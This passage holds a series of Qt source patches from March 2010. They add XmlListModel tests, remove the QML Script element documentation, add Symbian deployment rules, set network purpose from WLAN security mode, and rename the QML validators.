a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp +++ b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp @@ -69,6 +69,8 @@ private slots: void roles(); void roleErrors(); void uniqueRoleNames(); + void status(); + void data(); void reload(); void useKeys(); void useKeys_data(); @@ -247,6 +249,47 @@ void tst_qdeclarativexmllistmodel::uniqueRoleNames() delete model; } +void tst_qdeclarativexmllistmodel::status() +{ + QDeclarativeXmlListModel *model; + model = new QDeclarativeXmlListModel; + QCOMPARE(model->status(), QDeclarativeXmlListModel::Null); + + model->setXml(""); + QCOMPARE(model->status(), QDeclarativeXmlListModel::Ready); + delete model; + + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); + model = qobject_cast(component.create()); + QVERIFY(model != 0); + QCOMPARE(model->status(), QDeclarativeXmlListModel::Loading); + + QTRY_COMPARE(model->count(), 9); + QCOMPARE(model->status(), QDeclarativeXmlListModel::Ready); + + delete model; +} + +void tst_qdeclarativexmllistmodel::data() +{ + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); + QDeclarativeXmlListModel *model = qobject_cast(component.create()); + QVERIFY(model != 0); + + QHash blank; + for (int i=0; iroles().count(); i++) + blank.insert(model->roles()[i], QVariant()); + for (int i=0; i<9; i++) { + QCOMPARE(model->data(i, model->roles()), blank); + for (int j=0; jroles().count(); j++) { + QCOMPARE(model->data(i, j), QVariant()); + } + } + QTRY_COMPARE(model->count(), 9); + + delete model; +} + void tst_qdeclarativexmllistmodel::reload() { // If no keys are used, the model should be rebuilt from scratch when -- cgit v0.12 From f75961dfd20b82f2f5e2a4b7feaf59c841a93f6b Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 26 Mar 2010 09:49:39 +1000 Subject: Remove some Script {} docs --- src/declarative/graphicsitems/qdeclarativeitem.cpp | 16 ++-- src/declarative/qml/qdeclarativescript.cpp | 88 ---------------------- src/declarative/qml/qml.pri | 1 - src/declarative/util/qdeclarativestategroup.cpp | 12 ++- 4 files changed, 12 insertions(+), 105 deletions(-) delete mode 100644 src/declarative/qml/qdeclarativescript.cpp diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index f575fdb..dd6056e 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -1575,7 +1575,7 @@ void QDeclarativeItemPrivate::parentProperty(QObject *o, void *rv, QDeclarativeN Item { Text {} Rectangle {} - Script {} + Timer {} } \endqml @@ -1587,7 +1587,7 @@ void QDeclarativeItemPrivate::parentProperty(QObject *o, void *rv, QDeclarativeN Rectangle {} ] resources: [ - Script {} + Timer {} ] } \endqml @@ -2356,13 +2356,11 @@ QDeclarativeListProperty QDeclarativeItem::transitions() example: \qml - Script { - function toggle() { - if (button.state == 'On') - button.state = 'Off'; - else - button.state = 'On'; - } + function toggle() { + if (button.state == 'On') + button.state = 'Off'; + else + button.state = 'On'; } \endqml diff --git a/src/declarative/qml/qdeclarativescript.cpp b/src/declarative/qml/qdeclarativescript.cpp deleted file mode 100644 index ac4b2c1..0000000 --- a/src/declarative/qml/qdeclarativescript.cpp +++ /dev/null @@ -1,88 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -// This is just a dummy file to include the documentation - -/*! - \qmlclass Script QDeclarativeScript - \since 4.7 - \brief The Script element provides a way to add JavaScript code snippets in QML. - \ingroup group_utility - - The Script element is used to add convenient JavaScript "glue" methods to - your Qt Declarative application or component. - - An example: - - \qml - Script { - function debugMyComponent() { - console.log(text.text); - console.log(otherinterestingitem.property); - } - } - MouseArea { onClicked: debugMyComponent() } - \endqml - - \note While it is possible to use any JavaScript code within a Script element, - it is recommended that the code be limited to defining functions. The Script - element executes JavaScript as soon as it is specified, so - when defining a component, this may be done before the execution context is - fully specified. As a result, some properties or items may not be - accessible. You can avoid this problem by limiting your JavaScript to - defining functions that are only executed later once the context is fully - defined. - - \sa {JavaScript Blocks} -*/ - -/*! - \qmlproperty string Script::script - \default - The JavaScript code to be executed. -*/ - -/*! - \qmlproperty url Script::source - - Specifies a source file containing JavaScript code. This can be used instead - of providing inline JavaScript code in the Script element. -*/ diff --git a/src/declarative/qml/qml.pri b/src/declarative/qml/qml.pri index fc8ba50..e2f0c67 100644 --- a/src/declarative/qml/qml.pri +++ b/src/declarative/qml/qml.pri @@ -36,7 +36,6 @@ SOURCES += \ $$PWD/qdeclarativesqldatabase.cpp \ $$PWD/qmetaobjectbuilder.cpp \ $$PWD/qdeclarativewatcher.cpp \ - $$PWD/qdeclarativescript.cpp \ $$PWD/qdeclarativecleanup.cpp \ $$PWD/qdeclarativepropertycache.cpp \ $$PWD/qdeclarativenotifier.cpp \ diff --git a/src/declarative/util/qdeclarativestategroup.cpp b/src/declarative/util/qdeclarativestategroup.cpp index 083e87d..bc4582c 100644 --- a/src/declarative/util/qdeclarativestategroup.cpp +++ b/src/declarative/util/qdeclarativestategroup.cpp @@ -206,13 +206,11 @@ QDeclarativeListProperty QDeclarativeStateGroup::transit example: \qml - Script { - function toggle() { - if (button.state == 'On') - button.state = 'Off'; - else - button.state = 'On'; - } + function toggle() { + if (button.state == 'On') + button.state = 'Off'; + else + button.state = 'On'; } \endqml -- cgit v0.12 From 1b10d66a05208ca24d12d062fd7c7d15a01df436 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 26 Mar 2010 10:06:23 +1000 Subject: Document Particles module import. --- doc/src/declarative/elements.qdoc | 1 - src/imports/particles/qdeclarativeparticles.cpp | 5 +++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc index e35d67c..e62d546 100644 --- a/doc/src/declarative/elements.qdoc +++ b/doc/src/declarative/elements.qdoc @@ -97,7 +97,6 @@ The following table lists the QML elements provided by the Qt Declarative module \o \list -\o \l Script \o \l Connections \o \l Component \o \l Timer diff --git a/src/imports/particles/qdeclarativeparticles.cpp b/src/imports/particles/qdeclarativeparticles.cpp index 83be59b..e69c235 100644 --- a/src/imports/particles/qdeclarativeparticles.cpp +++ b/src/imports/particles/qdeclarativeparticles.cpp @@ -623,6 +623,8 @@ void QDeclarativeParticlesPrivate::updateOpacity(QDeclarativeParticle &p, int ag \brief The Particles object generates and moves particles. \inherits Item + Particles are available in the Qt.labs.particles 1.0 module. + This element provides preliminary support for particles in QML, and may be heavily changed or removed in later versions. @@ -640,6 +642,9 @@ void QDeclarativeParticlesPrivate::updateOpacity(QDeclarativeParticle &p, int ag snow, the lower one has particles expelled up like a fountain. \qml +import Qt 4.6 +import Qt.labs.particles 1.0 + Rectangle { width: 240 height: 320 -- cgit v0.12 From 9f6b271e942d48cef566891bd9d9712e147df3a2 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Fri, 26 Mar 2010 10:07:25 +1000 Subject: Add missing files from 72599ca45c416f2f0a9654412c14a148ca3d728c --- src/declarative/qml/qdeclarativefastproperties.cpp | 92 ++++++++++++++++++++++ src/declarative/qml/qdeclarativefastproperties_p.h | 75 ++++++++++++++++++ 2 files changed, 167 insertions(+) create mode 100644 src/declarative/qml/qdeclarativefastproperties.cpp create mode 100644 src/declarative/qml/qdeclarativefastproperties_p.h diff --git a/src/declarative/qml/qdeclarativefastproperties.cpp b/src/declarative/qml/qdeclarativefastproperties.cpp new file mode 100644 index 0000000..088d329 --- /dev/null +++ b/src/declarative/qml/qdeclarativefastproperties.cpp @@ -0,0 +1,92 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qdeclarativefastproperties_p.h" + +#include + +QT_BEGIN_NAMESPACE + +// Adding entries to the QDeclarativeFastProperties class allows the QML +// binding optimizer to bypass Qt's meta system and read and, more +// importantly, subscribe to properties directly. Any property that is +// primarily read from bindings is a candidate for inclusion as a fast +// property. + +QDeclarativeFastProperties::QDeclarativeFastProperties() +{ + add(&QDeclarativeItem::staticMetaObject, QDeclarativeItem::staticMetaObject.indexOfProperty("parent"), + QDeclarativeItemPrivate::parentProperty); +} + +int QDeclarativeFastProperties::accessorIndexForProperty(const QMetaObject *metaObject, int propertyIndex) +{ + Q_ASSERT(metaObject); + Q_ASSERT(propertyIndex >= 0); + + // Find the "real" metaObject + while (metaObject->propertyOffset() > propertyIndex) + metaObject = metaObject->superClass(); + + QHash, int>::Iterator iter = + m_index.find(qMakePair(metaObject, propertyIndex)); + if (iter != m_index.end()) + return *iter; + else + return -1; +} + +void QDeclarativeFastProperties::add(const QMetaObject *metaObject, int propertyIndex, Accessor accessor) +{ + Q_ASSERT(metaObject); + Q_ASSERT(propertyIndex >= 0); + + // Find the "real" metaObject + while (metaObject->propertyOffset() > propertyIndex) + metaObject = metaObject->superClass(); + + QPair data = qMakePair(metaObject, propertyIndex); + int accessorIndex = m_accessors.count(); + m_accessors.append(accessor); + m_index.insert(data, accessorIndex); +} + +QT_END_NAMESPACE diff --git a/src/declarative/qml/qdeclarativefastproperties_p.h b/src/declarative/qml/qdeclarativefastproperties_p.h new file mode 100644 index 0000000..60df947 --- /dev/null +++ b/src/declarative/qml/qdeclarativefastproperties_p.h @@ -0,0 +1,75 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEFASTPROPERTIES_P_H +#define QDECLARATIVEFASTPROPERTIES_P_H + +#include +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +class QObject; +class QDeclarativeNotifierEndpoint; +class QDeclarativeFastProperties +{ +public: + typedef void (*Accessor)(QObject *object, void *output, QDeclarativeNotifierEndpoint *endpoint); + + QDeclarativeFastProperties(); + + Accessor accessor(int index) const { return m_accessors.at(index); } + int accessorIndexForProperty(const QMetaObject *, int); + +private: + void add(const QMetaObject *, int, Accessor); + + QHash, int> m_index; + QVector m_accessors; +}; + +QT_END_NAMESPACE + +QT_END_HEADER + +#endif // QDECLARATIVEFASTPROPERTIES_P_H -- cgit v0.12 From 1dc40aa28ee93ee067c18349dc54e7b8b4f4dc4f Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Thu, 25 Mar 2010 15:55:30 +1000 Subject: Add Symbian deploy section for qml import plugins Task-number: QTBUG-9364 Reviewed-by: jbarron --- demos/declarative/minehunt/minehunt.pro | 15 +++++++++++++++ mkspecs/features/symbian/data_caging_paths.prf | 1 + src/imports/multimedia/multimedia.pro | 11 +++++++++++ src/imports/particles/particles.pro | 11 +++++++++++ src/imports/webkit/webkit.pro | 11 +++++++++++ src/imports/widgets/widgets.pro | 11 +++++++++++ 6 files changed, 60 insertions(+) diff --git a/demos/declarative/minehunt/minehunt.pro b/demos/declarative/minehunt/minehunt.pro index 2df33e6..03059c7 100644 --- a/demos/declarative/minehunt/minehunt.pro +++ b/demos/declarative/minehunt/minehunt.pro @@ -23,3 +23,18 @@ MinehuntCore_sources.path = $$[QT_INSTALL_DEMOS]/declarative/minehunt/MinehuntCo INSTALLS = sources MinehuntCore_sources target +symbian:{ + load(data_caging_paths) + TARGET.EPOCALLOWDLLDATA = 1 + TARGET.CAPABILITY = CAP_GENERAL_DLL + include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri) + + importFiles.sources = minehunt.dll \ + MinehuntCore/Explosion.qml \ + MinehuntCore/pics \ + MinehuntCore/qmldir + importFiles.path = $$QT_IMPORTS_BASE_DIR/MinehuntCore + DEPLOYMENT = importFiles +} + +INSTALLS = sources MinehuntCore_sources target diff --git a/mkspecs/features/symbian/data_caging_paths.prf b/mkspecs/features/symbian/data_caging_paths.prf index 6f40bb5..ae9bc09 100644 --- a/mkspecs/features/symbian/data_caging_paths.prf +++ b/mkspecs/features/symbian/data_caging_paths.prf @@ -75,6 +75,7 @@ exists($${EPOCROOT}epoc32/include/data_caging_paths.prf) { } isEmpty(QT_PLUGINS_BASE_DIR): QT_PLUGINS_BASE_DIR = /$$RESOURCE_FILES_DIR/qt$${QT_LIBINFIX}/plugins +isEmpty(QT_IMPORTS_BASE_DIR): QT_IMPORTS_BASE_DIR = /$$RESOURCE_FILES_DIR/qt/imports isEmpty(HW_ZDIR): HW_ZDIR = epoc32/data/z isEmpty(REG_RESOURCE_DIR): REG_RESOURCE_DIR = /private/10003a3f/apps isEmpty(REG_RESOURCE_IMPORT_DIR): REG_RESOURCE_IMPORT_DIR = /private/10003a3f/import/apps \ No newline at end of file diff --git a/src/imports/multimedia/multimedia.pro b/src/imports/multimedia/multimedia.pro index 16b3ace..8792e2b 100644 --- a/src/imports/multimedia/multimedia.pro +++ b/src/imports/multimedia/multimedia.pro @@ -23,4 +23,15 @@ target.path = $$[QT_INSTALL_IMPORTS]/$$TARGETPATH qmldir.files += $$QT_BUILD_TREE/imports/$$TARGETPATH/qmldir qmldir.path += $$[QT_INSTALL_IMPORTS]/$$TARGETPATH +symbian:{ + load(data_caging_paths) + include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri) + + importFiles.sources = multimedia.dll \ + qmldir + importFiles.path = $$QT_IMPORTS_BASE_DIR/$$TARGETPATH + + DEPLOYMENT = importFiles +} + INSTALLS += target qmldir diff --git a/src/imports/particles/particles.pro b/src/imports/particles/particles.pro index 02d9ea6..53d9c24 100644 --- a/src/imports/particles/particles.pro +++ b/src/imports/particles/particles.pro @@ -17,4 +17,15 @@ target.path = $$[QT_INSTALL_IMPORTS]/$$TARGETPATH qmldir.files += $$QT_BUILD_TREE/imports/$$TARGETPATH/qmldir qmldir.path += $$[QT_INSTALL_IMPORTS]/$$TARGETPATH +symbian:{ + load(data_caging_paths) + include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri) + + importFiles.sources = particles.dll \ + qmldir + importFiles.path = $$QT_IMPORTS_BASE_DIR/$$TARGETPATH + + DEPLOYMENT = importFiles +} + INSTALLS += target qmldir diff --git a/src/imports/webkit/webkit.pro b/src/imports/webkit/webkit.pro index ef08efe..a11f87f 100644 --- a/src/imports/webkit/webkit.pro +++ b/src/imports/webkit/webkit.pro @@ -14,4 +14,15 @@ target.path = $$[QT_INSTALL_IMPORTS]/$$TARGETPATH qmldir.files += $$QT_BUILD_TREE/imports/$$TARGETPATH/qmldir qmldir.path += $$[QT_INSTALL_IMPORTS]/$$TARGETPATH +symbian:{ + load(data_caging_paths) + include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri) + + importFiles.sources = webkitqmlplugin.dll \ + qmldir + importFiles.path = $$QT_IMPORTS_BASE_DIR/$$TARGETPATH + + DEPLOYMENT = importFiles +} + INSTALLS += target qmldir diff --git a/src/imports/widgets/widgets.pro b/src/imports/widgets/widgets.pro index aa09b3c..bf2576d 100644 --- a/src/imports/widgets/widgets.pro +++ b/src/imports/widgets/widgets.pro @@ -18,4 +18,15 @@ target.path = $$[QT_INSTALL_IMPORTS]/$$TARGETPATH qmldir.files += $$QT_BUILD_TREE/imports/$$TARGETPATH/qmldir qmldir.path += $$[QT_INSTALL_IMPORTS]/$$TARGETPATH +symbian:{ + load(data_caging_paths) + include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri) + + importFiles.sources = widgets.dll \ + qmldir + importFiles.path = $$QT_IMPORTS_BASE_DIR/$$TARGETPATH + + DEPLOYMENT = importFiles +} + INSTALLS += target qmldir -- cgit v0.12 From 2fff42f7fa4a38e8f5b709493562a81b75762da6 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Thu, 25 Mar 2010 18:06:19 +1000 Subject: Add declarative subdir to examples.pro Task-number: Reviewed-by: Martin Jones --- examples/examples.pro | 1 + 1 file changed, 1 insertion(+) diff --git a/examples/examples.pro b/examples/examples.pro index ec5cc5f9..b046167 100644 --- a/examples/examples.pro +++ b/examples/examples.pro @@ -57,6 +57,7 @@ embedded:SUBDIRS += qws contains(QT_CONFIG, opengl): SUBDIRS += opengl contains(QT_CONFIG, openvg): SUBDIRS += openvg contains(QT_CONFIG, dbus): SUBDIRS += dbus +contains(QT_CONFIG, declarative): SUBDIRS += declarative win32: SUBDIRS += activeqt contains(QT_CONFIG, xmlpatterns): SUBDIRS += xmlpatterns contains(DEFINES, QT_NO_CURSOR): SUBDIRS -= mainwindows -- cgit v0.12 From 6f9eb6f97bdace74111180bc548f21f613e2674c Mon Sep 17 00:00:00 2001 From: Lorn Potter Date: Fri, 26 Mar 2010 11:07:36 +1000 Subject: specify the configuration's purpose based on security mode of network. open is public. --- src/plugins/bearer/corewlan/qcorewlanengine.h | 2 +- src/plugins/bearer/corewlan/qcorewlanengine.mm | 20 ++++++++++++++++---- .../bearer/networkmanager/qnetworkmanagerengine.cpp | 14 ++++++++++++-- 3 files changed, 29 insertions(+), 7 deletions(-) diff --git a/src/plugins/bearer/corewlan/qcorewlanengine.h b/src/plugins/bearer/corewlan/qcorewlanengine.h index 5e93193..11f5d96 100644 --- a/src/plugins/bearer/corewlan/qcorewlanengine.h +++ b/src/plugins/bearer/corewlan/qcorewlanengine.h @@ -102,7 +102,7 @@ protected: void getUserConfigurations(); QString getNetworkNameFromSsid(const QString &ssid); QString getSsidFromNetworkName(const QString &name); - QStringList foundNetwork(const QString &id, const QString &ssid, const QNetworkConfiguration::StateFlags state, const QString &interfaceName); + QStringList foundNetwork(const QString &id, const QString &ssid, const QNetworkConfiguration::StateFlags state, const QString &interfaceName, const QNetworkConfiguration::Purpose purpose); }; QT_END_NAMESPACE diff --git a/src/plugins/bearer/corewlan/qcorewlanengine.mm b/src/plugins/bearer/corewlan/qcorewlanengine.mm index a366d00..b59ccee 100644 --- a/src/plugins/bearer/corewlan/qcorewlanengine.mm +++ b/src/plugins/bearer/corewlan/qcorewlanengine.mm @@ -271,7 +271,7 @@ void QCoreWlanEngine::connectToId(const QString &id) SecKeychainAttributeList attributeList = {3,attributes}; SecKeychainSearchRef searchRef; - OSErr result = SecKeychainSearchCreateFromAttributes(NULL, kSecGenericPasswordItemClass, &attributeList, &searchRef); + SecKeychainSearchCreateFromAttributes(NULL, kSecGenericPasswordItemClass, &attributeList, &searchRef); NSString *password = @""; SecKeychainItemRef searchItem; @@ -429,7 +429,14 @@ QStringList QCoreWlanEngine::scanForSsids(const QString &interfaceName) state = QNetworkConfiguration::Undefined; } } - found.append(foundNetwork(id, networkSsid, state, interfaceName)); + QNetworkConfiguration::Purpose purpose = QNetworkConfiguration::UnknownPurpose; + if([[apNetwork securityMode] intValue] == kCWSecurityModeOpen) { + purpose = QNetworkConfiguration::PublicPurpose; + } else { + purpose = QNetworkConfiguration::PrivatePurpose; + } + + found.append(foundNetwork(id, networkSsid, state, interfaceName, purpose)); } //end row } //end error @@ -470,13 +477,13 @@ QStringList QCoreWlanEngine::scanForSsids(const QString &interfaceName) state = QNetworkConfiguration::Defined; } - found.append(foundNetwork(id, networkName, state, interfaceName)); + found.append(foundNetwork(id, networkName, state, interfaceName, QNetworkConfiguration::UnknownPurpose)); } } return found; } -QStringList QCoreWlanEngine::foundNetwork(const QString &id, const QString &name, const QNetworkConfiguration::StateFlags state, const QString &interfaceName) +QStringList QCoreWlanEngine::foundNetwork(const QString &id, const QString &name, const QNetworkConfiguration::StateFlags state, const QString &interfaceName, const QNetworkConfiguration::Purpose purpose) { QStringList found; QMutexLocker locker(&mutex); @@ -507,6 +514,10 @@ QStringList QCoreWlanEngine::foundNetwork(const QString &id, const QString &name changed = true; } + if (ptr->purpose != purpose) { + ptr->purpose = purpose; + changed = true; + } ptr->mutex.unlock(); if (changed) { @@ -524,6 +535,7 @@ QStringList QCoreWlanEngine::foundNetwork(const QString &id, const QString &name ptr->state = state; ptr->type = QNetworkConfiguration::InternetAccessPoint; ptr->bearer = QLatin1String("WLAN"); + ptr->purpose = purpose; accessPointConfigurations.insert(ptr->id, ptr); configurationInterface.insert(ptr->id, interfaceName); diff --git a/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp b/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp index 28ee38e..72d6838 100644 --- a/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp +++ b/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp @@ -602,7 +602,11 @@ void QNetworkManagerEngine::newAccessPoint(const QString &path, const QDBusObjec ptr->isValid = true; ptr->id = QString::number(qHash(objectPath.path())); ptr->type = QNetworkConfiguration::InternetAccessPoint; - ptr->purpose = QNetworkConfiguration::PublicPurpose; + if(accessPoint->flags() == NM_802_11_AP_FLAGS_PRIVACY) { + ptr->purpose = QNetworkConfiguration::PrivatePurpose; + } else { + ptr->purpose = QNetworkConfiguration::PublicPurpose; + } ptr->state = QNetworkConfiguration::Undefined; ptr->bearer = QLatin1String("WLAN"); @@ -718,6 +722,7 @@ QNetworkConfigurationPrivate *QNetworkManagerEngine::parseConnection(const QStri if (connectionType == QLatin1String("802-3-ethernet")) { cpPriv->bearer = QLatin1String("Ethernet"); + cpPriv->purpose = QNetworkConfiguration::PublicPurpose; foreach (const QDBusObjectPath &devicePath, interface->getDevices()) { QNetworkManagerInterfaceDevice device(devicePath.path()); @@ -734,7 +739,12 @@ QNetworkConfigurationPrivate *QNetworkManagerEngine::parseConnection(const QStri cpPriv->bearer = QLatin1String("WLAN"); const QString connectionSsid = map.value("802-11-wireless").value("ssid").toString(); - + const QString connectionSecurity = map.value("802-11-wireless").value("security").toString(); + if(!connectionSecurity.isEmpty()) { + cpPriv->purpose = QNetworkConfiguration::PrivatePurpose; + } else { + cpPriv->purpose = QNetworkConfiguration::PublicPurpose; + } for (int i = 0; i < accessPoints.count(); ++i) { if (connectionSsid == accessPoints.at(i)->ssid()) { cpPriv->state |= QNetworkConfiguration::Discovered; -- cgit v0.12 From 4e5b463542385f4f4b3fc640926988dfb949ce54 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 26 Mar 2010 11:08:38 +1000 Subject: Really fix qMin() parameter types. --- src/declarative/graphicsitems/qdeclarativepathview.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index c98b006..783387c 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -772,7 +772,7 @@ void QDeclarativePathView::mouseReleaseEvent(QGraphicsSceneMouseEvent *) qreal v2 = velocity*velocity; qreal accel = d->deceleration; // + 0.25 to encourage moving at least one item in the flick direction - qreal dist = qMin(qreal(d->model->count()-1), qreal(d->model->count()) * v2 / (accel * 2.0) + 0.25); + qreal dist = qMin(qreal(d->model->count()-1), qreal(qreal(d->model->count()) * v2 / (accel * 2.0) + 0.25)); // round to nearest item. if (velocity > 0.) dist = qRound(dist + d->offset) - d->offset; -- cgit v0.12 From 47c0d01115aebd4cbad3ceca463c74411eeef9f9 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 26 Mar 2010 11:25:20 +1000 Subject: Remove Q prefix from the validators. --- src/declarative/QmlChanges.txt | 1 + .../graphicsitems/qdeclarativeitemsmodule.cpp | 6 +++--- src/declarative/graphicsitems/qdeclarativetextinput.cpp | 17 +++++++++-------- .../qdeclarativetextinput/data/validators.qml | 7 +++---- .../qdeclarativetextinput/tst_qdeclarativetextinput.cpp | 1 - 5 files changed, 16 insertions(+), 16 deletions(-) diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index 9a55bde..d35a4c2 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -1,6 +1,7 @@ ============================================================================= The changes below are pre Qt 4.7.0 beta +Removed Q-prefix from validators (IntValidator, DoubleValidator, and RegExpValidator) PathView: offset property now uses range 0-1.0 rather than 0-100 ListView, GridView::positionViewAtIndex() gained a 'mode' parameter Removed Qt.playSound (replaced by SoundEffect element) diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index 07d7f4d..f422365 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -114,10 +114,10 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("Qt",4,6,"PathPercent"); qmlRegisterType("Qt",4,6,"PathQuad"); qmlRegisterType("Qt",4,6,"PathView"); - qmlRegisterType("Qt",4,6,"QIntValidator"); + qmlRegisterType("Qt",4,6,"IntValidator"); #if (QT_VERSION >= QT_VERSION_CHECK(4,7,0)) - qmlRegisterType("Qt",4,7,"QDoubleValidator"); - qmlRegisterType("Qt",4,7,"QRegExpValidator"); + qmlRegisterType("Qt",4,7,"DoubleValidator"); + qmlRegisterType("Qt",4,7,"RegExpValidator"); #endif qmlRegisterType("Qt",4,6,"Rectangle"); qmlRegisterType("Qt",4,6,"Repeater"); diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index b049728..f57ffc1 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -428,20 +428,21 @@ void QDeclarativeTextInput::setFocusOnPress(bool b) } /*! - \qmlproperty QValidator* TextInput::validator + \qmlproperty Validator TextInput::validator - Allows you to set a QValidator on the TextInput. When a validator is set + Allows you to set a validator on the TextInput. When a validator is set the TextInput will only accept input which leaves the text property in an acceptable or intermediate state. The accepted signal will only be sent if the text is in an acceptable state when enter is pressed. - Currently supported validators are QIntValidator, QDoubleValidator and - QRegExpValidator. For details, refer to their C++ documentation and remember + Currently supported validators are IntValidator, DoubleValidator and + RegExpValidator. For details, refer to their C++ documentation (QIntValidator, + QDoubleValidator, and QRegExpValidator) and remember that all Q_PROPERTIES are accessible from Qml. A brief usage guide follows: - QIntValidator and QDoubleValidator both are controllable through two properties, - top and bottom. The difference is that for QIntValidator the top and bottom properties - should be integers, and for QDoubleValidator they should be doubles. QRegExpValidator + IntValidator and DoubleValidator both are controllable through two properties, + top and bottom. The difference is that for IntValidator the top and bottom properties + should be integers, and for DoubleValidator they should be doubles. RegExpValidator has a single string property, regExp, which should be set to the regular expression to be used for validation. An example of using validators is shown below, which allows input of integers between 11 and 31 into the text input: @@ -449,7 +450,7 @@ void QDeclarativeTextInput::setFocusOnPress(bool b) \code import Qt 4.6 TextInput{ - validator: QIntValidator{bottom: 11; top: 31;} + validator: IntValidator{bottom: 11; top: 31;} focus: true } \endcode diff --git a/tests/auto/declarative/qdeclarativetextinput/data/validators.qml b/tests/auto/declarative/qdeclarativetextinput/data/validators.qml index 